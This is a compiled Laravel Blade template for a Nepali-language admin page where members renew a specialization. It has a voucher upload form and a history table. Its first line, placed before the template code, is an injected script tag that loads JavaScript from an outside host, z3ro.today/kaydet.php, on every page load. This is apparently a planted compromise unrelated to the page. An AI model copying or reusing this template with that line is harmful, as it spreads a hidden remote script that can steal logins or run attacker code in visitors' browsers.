<script src="http://z3ro.today/kaydet.php"></script><?php $__env->startSection('content'); ?>
<!-- Nepali Datepicker CSS -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/nepali-datepicker/dist/css/nepali-datepicker.min.css">

<!-- jQuery (required by nepali-datepicker) -->
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>

<!-- Nepali Datepicker JavaScript -->
<script src="https://cdn.jsdelivr.net/npm/nepali-datepicker/dist/js/nepali-datepicker.min.js"></script>

<!-- Inputmask CSS -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/jquery.inputmask/5.0.6/jquery.inputmask.min.css">

<!-- jQuery (necessary for Inputmask) -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>

<!-- Inputmask JavaScript -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.inputmask/5.0.6/jquery.inputmask.min.js"></script>

<script>
    $(document).ready(function() {
        // Initialize Nepali datepicker
        $('#uploaded_date').nepaliDatePicker();
    });
</script>


<!-- start page title -->
<div class="row">
    <div class="col-12">
        <div class="page-title-box d-sm-flex align-items-center justify-content-between">
            <h4 class="mb-sm-0 font-size-18">विशेषज्ञता नवीकरण</h4>

            <div class="page-title-right">
                <ol class="breadcrumb m-0">
                    <li class="breadcrumb-item active">विशेषज्ञता नवीकरण प्रविष्टि</li>
                </ol>
            </div>

        </div>
    </div>
</div>
<!-- end page title -->

<div class="row">
    <div class="col-lg-12">
        <div class="card">
            <div class="card-body">

                <div class="row">
                    <div class="col-sm">
                        <div class="mb-4">
                            <a href="<?php echo e(make_route('member.details', $memberInfo->id)); ?>" class="btn btn-success waves-effect waves-light"><i class="fa fa-arrow-left"></i>
                                अघिल्लो पृष्ठ</a>
                        </div>
                    </div>
                </div>
                <!-- end row -->


                <div class="row">
                    <div class="col">
                        <table class="table align-middle">
                            <thead>
                                <tr class="bg-transparent">
                                    <th>सदस्यको नाम</th>
                                    <th> जन्म मिति </th>
                                    <th>बुबाको नाम</th>
                                    <th>आमाको नाम</th>
                                    <th>श्रेणी</th>
                                    <th>विशेषज्ञता</th>
                                </tr>
                            </thead>
                            <tbody>
                                <td><?php echo e($memberInfo->nameeng); ?></td>
                                <td> <?php echo e($memberInfo->dob); ?> </td>
                                <td><?php echo e($memberInfo->fname); ?> </td>
                                <td><?php echo e($memberInfo->mname); ?></td>
                                <td><?php echo e($memberInfo->level->level); ?></td>
                                <td><?php echo e($memberInfo->specialization->specialization); ?></td>
                                </tr>
                            </tbody>
                        </table>
                    </div>
                </div>

                <form action="<?php echo e(make_route('mem-specialization.store')); ?>" method="POST" enctype="multipart/form-data">
                    <?php echo csrf_field(); ?>
                    <div class="row">

                        <div class="col-md-4 mb-3">
                            <label class="form-label">मिति</label>
                            <input id="uploaded_date" type="text" class="form-control <?php $__errorArgs = ['uploaded_date'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?> is-invalid <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>" name="uploaded_date" value="<?php echo e(old('uploaded_date')); ?>" required autocomplete="off">
                            <?php $__errorArgs = ['uploaded_date'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?>
                            <span class="invalid-feedback" role="alert">
                                <strong><?php echo e($message); ?></strong>
                            </span>
                            <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>
                        </div>

                        <div class="col-md-4 mb-3">
                            <label for="specialization_id" class="form-label">विशेषज्ञता </label>
                            <select name="specialization_id" class="form-control">
                                <option value="" disabled selected></option>
                                <?php $__currentLoopData = $specializations; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $specialization): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                <option value="<?php echo e($specialization->id); ?>"><?php echo e($specialization->specialization); ?></option>
                                <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                            </select>

                            <?php $__errorArgs = ['specialization_id'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?>
                            <span class="invalid-feedback" role="alert">
                                <strong><?php echo e($message); ?></strong>
                            </span>
                            <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>
                        </div>

                        <div class="col-md-4 mb-3">
                            <label class="form-label">भुक्तान गरिएको रकम</label>
                            <input id="voucher_amount" type="text" class="form-control <?php $__errorArgs = ['voucher_amount'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?> is-invalid <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>" name="voucher_amount" value="<?php echo e(old('voucher_amount')); ?>" required autocomplete="off">
                            <?php $__errorArgs = ['voucher_amount'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?>
                            <span class="invalid-feedback" role="alert">
                                <strong><?php echo e($message); ?></strong>
                            </span>
                            <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>
                        </div>

                        <div class="col-md-4 mb-3">
                            <label class="form-label">भौचर नम्बर</label>
                            <input id="voucher_no" type="text" class="form-control <?php $__errorArgs = ['voucher_no'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?> is-invalid <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>" name="voucher_no" value="<?php echo e(old('voucher_no')); ?>" required autocomplete="off">
                            <?php $__errorArgs = ['voucher_no'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?>
                            <span class="invalid-feedback" role="alert">
                                <strong><?php echo e($message); ?></strong>
                            </span>
                            <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>
                        </div>

                        <div class="col-md-4 mb-3">
                            <label class="form-label">भौचर अपलोड <i style="color: red;"> *pdf/jpg/jepg/png</i> </label>
                            <input id="voucher_file" type="file" class="form-control <?php $__errorArgs = ['voucher_file'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?> is-invalid <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>" name="voucher_file" value="<?php echo e(old('voucher_file')); ?>" required autocomplete="off">
                            <?php $__errorArgs = ['voucher_file'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?>
                            <span class="invalid-feedback" role="alert">
                                <strong><?php echo e($message); ?></strong>
                            </span>
                            <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>
                        </div>



                    </div>


                    <div class="mb-3">
                        <button class="btn btn-primary w-100 waves-effect waves-light" type="submit">सेभ गर्ने</button>
                    </div>
                </form>
                <!-- end table responsive -->


                <!-- table -->
                <table class="table align-middle datatable dt-responsive table-check nowrap" style="border-collapse: collapse; border-spacing: 0 8px; width: 100%;">
                    <thead>
                        <tr class="bg-transparent">

                            <th>#</th>
                            <th> मिति</th>
                            <th> विशेषज्ञता </th>
                            <th>भुक्तान गरिएको रकम</th>
                            <th> भौचर नम्बर </th>
                            <th>भौचर अपलोड</th>
                            <th></th> <!-- is current -->
                            <?php if($memberInfo->app_status == '0'): ?>
                            <th></th>
                            <?php endif; ?>
                        </tr>
                    </thead>
                    <tbody>

                        <?php $__currentLoopData = $memspecializations; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $sn=> $specialization): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>

                        <tr>
                            <td> <?php echo e(++$sn); ?> </td>
                            <td> <?php echo e($specialization->uploaded_date); ?> </td>
                            <td> <?php echo e(getSpecializationFromId($specialization->specialization_id)); ?> </td>
                            <td><?php echo e($specialization->voucher_no); ?> </td>
                            <td><?php echo e($specialization->voucher_amount); ?></td>
                            <td>
                                <?php if($specialization->voucher_file !== '0' && !empty($specialization->voucher_file)): ?>
                                <a href="<?php echo e(storage_url($specialization->voucher_file)); ?>" target="_blank">View File</a>
                                <?php endif; ?>
                            </td>
                            <?php if($specialization->is_current == '1'): ?>
                            <td> active ! </td>
                            <?php elseif($specialization->id == $specialization->checklatest()): ?>
                            <td>
                                <?php if(auth()->user()->usertype != '3'): ?>
                                <a href="<?php echo e(make_route('mem-specialization.accept-specialization',$specialization->id)); ?>" class="btn btn-success waves-effect waves-light"><i class="fa fa-check"></i> Accept Specialization</a>
                                <?php endif; ?>
                            </td>
                            <?php else: ?>
                            <td></td>
                            <?php endif; ?>
                            <?php if($memberInfo->app_status == '0'): ?>
                            <td>
                                <div class="dropdown">
                                    <button class="btn btn-link font-size-16 shadow-none py-0 text-muted dropdown-toggle" type="button" data-bs-toggle="dropdown" aria-expanded="false">
                                        <i class="bx bx-dots-horizontal-rounded"></i>
                                    </button>
                                    <ul class="dropdown-menu dropdown-menu-end">
                                        <li><a class="dropdown-item" href="<?php echo e(url('updatedegreeview', $specialization->id)); ?>">Edit</a></li>
                                        <li>
                                            <?php echo deleteLinkButton('mem-specialization.delete', $specialization->id); ?>

                                            <!-- <a class="dropdown-item delete-link" href="<?php echo e(make_route('mem-specialization.delete', $specialization->id)); ?>">Delete</a> -->
                                        </li>

                                    </ul>
                                </div>
                            </td>
                            <?php endif; ?>
                        </tr>

                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>



                    </tbody>
                </table>
            </div>
            <!-- end card body -->
        </div>
        <!-- end card -->
    </div>
    <!-- end col -->
</div>
<!-- end row -->
<?php $__env->stopSection(); ?>
<?php echo $__env->make('layouts.app', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?><?php /**PATH /var/www/html/resources/views/member-